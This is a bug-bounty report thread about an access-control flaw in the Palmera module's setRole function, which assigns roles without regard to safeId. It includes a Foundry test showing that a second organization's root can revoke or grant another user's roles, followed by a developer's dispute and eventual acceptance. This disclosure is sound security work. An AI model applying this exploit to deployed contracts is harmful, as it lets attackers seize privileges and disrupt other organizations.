Unauthorized Role Modification Vulnerability in setRole Function

[hats-bug-reporter[bot]]

Github username: @0xmahdirostami Twitter username: 0xmahdirostami Submission hash (on-chain): 0xcac9230f2dc40110a888f845f4e7337b88cbd193f8110efb6f7c010d9e074bd1 Severity: high

Description: Description: In the setRole function:

    /// @param user User that will have specific role (Can be EAO or safe)
    /// @param safeId Safe Id which will have the user permissions on
    function setRole(

The safeId parameter is intended to specify the safe on which the user will have permissions. However, the current implementation assigns roles to the user without considering the safeId. This means roles are assigned to the user generally, not just for that specific safeId:

        RolesAuthority _authority = RolesAuthority(rolesAuthority);
        _authority.setUserRole(user, uint8(role), enabled);

This allows any root to enable or disable any role for any user without restriction, so the root of any organization can enable or disable roles for any user.

Scenario:

1. There is an organization called uniOrg. This organization assigns user A to role A. A malicious attacker creates an organization called XOrg with one safe in his organization. This malicious root can call setRole with his safeId and user A's address to disable role A for user A or assign any other role to user A.
2. If a user has a SAFE_LEAD_MODIFY_OWNERS_ONLY role in an organization and leads safe ID 2, they could create a new organization with another safe wallet and assign SAFE_LEAD_EXEC_ON_BEHALF_ONLY to their address.

Impact:

• Malicious users can assign any role to any user or assign roles to themselves, allowing them to execute unauthorized transactions.
• Malicious users can revoke roles, causing denial of service (DoS) to other organizations.

Proof of Concept (PoC): Add the following test to PalmeraRolesTest.t.sol:

function testCan_ROOT_SAFE_SetRole_Issue() public {
        (uint256 rootId, uint256 safeA1Id) =
            palmeraSafeBuilder.setupRootOrgAndOneSafe(orgName, safeA1Name);

        address rootAddr = palmeraModule.getSafeAddress(rootId);
        address userEOALead = address(0x123);
        // Root of the first organization assigns `SAFE_LEAD_MODIFY_OWNERS_ONLY` role to userEOALead.
        vm.startPrank(rootAddr);
        palmeraModule.setRole(
            DataTypes.Role.SAFE_LEAD_MODIFY_OWNERS_ONLY,
            userEOALead,
            safeA1Id,
            true
        );

        assertEq(
            palmeraRolesContract.doesUserHaveRole(
                userEOALead, uint8(DataTypes.Role.SAFE_LEAD_MODIFY_OWNERS_ONLY)
            ),
            true
        );
        assertEq(
            palmeraRolesContract.doesUserHaveRole(
                userEOALead, uint8(DataTypes.Role.SAFE_LEAD_EXEC_ON_BEHALF_ONLY)
            ),
            false
        );

        (uint256 rootId2, uint256 safeA1Id2) =
            palmeraSafeBuilder.setupRootOrgAndOneSafe(org2Name, safeA2Name);

        address rootAddr2 = palmeraModule.getSafeAddress(rootId2);
        vm.startPrank(rootAddr2);
        // Root of the second organization revokes `SAFE_LEAD_MODIFY_OWNERS_ONLY` and assigns `SAFE_LEAD_EXEC_ON_BEHALF_ONLY` to userEOALead.
        palmeraModule.setRole(
            DataTypes.Role.SAFE_LEAD_MODIFY_OWNERS_ONLY,
            userEOALead,
            safeA1Id2,
            false
        );
        palmeraModule.setRole(
            DataTypes.Role.SAFE_LEAD_EXEC_ON_BEHALF_ONLY,
            userEOALead,
            safeA1Id2,
            true
        );

        assertEq(
            palmeraRolesContract.doesUserHaveRole(
                userEOALead, uint8(DataTypes.Role.SAFE_LEAD_MODIFY_OWNERS_ONLY)
            ),
            false
        );
        assertEq(
            palmeraRolesContract.doesUserHaveRole(
                userEOALead, uint8(DataTypes.Role.SAFE_LEAD_EXEC_ON_BEHALF_ONLY)
            ),
            true
        );
    }

As shown above, root2 can change user roles arbitrarily, demonstrating the vulnerability.

Mitigation: Ensure that when setting a role, the safeId and user are considered together. The role assigned to a user must be specific to that safeId.

[alfredolopez80]

@0xmahdirostami this scenario is not possible, becuase the Safe only can exist in onw org, not in both if you check the require in addSafe , registerOrg or createRootSafe, if the safe is Already register and then, tx revert!!

[0xmahdirostami]

@alfredolopez80 it's not about safe, it's about user.

function setRole(
        DataTypes.Role role,
        address user,
        uint256 safeId,
        bool enabled
    )

Any root of any org could set a role or revoke a role for any user.

In my POC, the root of first organization sets SAFE_LEAD_MODIFY_OWNERS_ONLY role for safeA1Id for userEOALead

(uint256 rootId, uint256 safeA1Id) =
            palmeraSafeBuilder.setupRootOrgAndOneSafe(orgName, safeA1Name);

        address rootAddr = palmeraModule.getSafeAddress(rootId);
        address userEOALead = address(0x123);
        // Root of the first organization assigns `SAFE_LEAD_MODIFY_OWNERS_ONLY` role to userEOALead.
        vm.startPrank(rootAddr);
        palmeraModule.setRole(
            DataTypes.Role.SAFE_LEAD_MODIFY_OWNERS_ONLY,
            userEOALead,
            safeA1Id,
            true
        );

after that, the malicious user could create a new org, and set any role or revoke any role for this user.

 (uint256 rootId2, uint256 safeA1Id2) =
            palmeraSafeBuilder.setupRootOrgAndOneSafe(org2Name, safeA2Name);

        address rootAddr2 = palmeraModule.getSafeAddress(rootId2);
        vm.startPrank(rootAddr2);
        // Root of the second organization revokes `SAFE_LEAD_MODIFY_OWNERS_ONLY` and assigns `SAFE_LEAD_EXEC_ON_BEHALF_ONLY` to userEOALead.
        palmeraModule.setRole(
            DataTypes.Role.SAFE_LEAD_MODIFY_OWNERS_ONLY,
            userEOALead,
            safeA1Id2,
            false
        );
        palmeraModule.setRole(
            DataTypes.Role.SAFE_LEAD_EXEC_ON_BEHALF_ONLY,
            userEOALead,
            safeA1Id2,
            true
        );

        assertEq(
            palmeraRolesContract.doesUserHaveRole(
                userEOALead, uint8(DataTypes.Role.SAFE_LEAD_MODIFY_OWNERS_ONLY)
            ),
            false
        );
        assertEq(
            palmeraRolesContract.doesUserHaveRole(
                userEOALead, uint8(DataTypes.Role.SAFE_LEAD_EXEC_ON_BEHALF_ONLY)
            ),
            true
        );
    }

As you see rootAddr2 revokes SAFE_LEAD_MODIFY_OWNERS_ONLY role for new safe safeA1Id2, but the same user (userEOALead), so now this doesn't have that role.

it's not important in the second function what is safeId. root could assign any role to any user

[0xmahdirostami]

For example, there is an Org called uniOrg that the root of it, assigns SAFE_LEAD_MODIFY_OWNERS_ONLY for safeID1 for user A.

Any user could create a new Org and revoke this role from user A Or assign new role for this user,

[alfredolopez80]

is issue valid @0xmahdirostami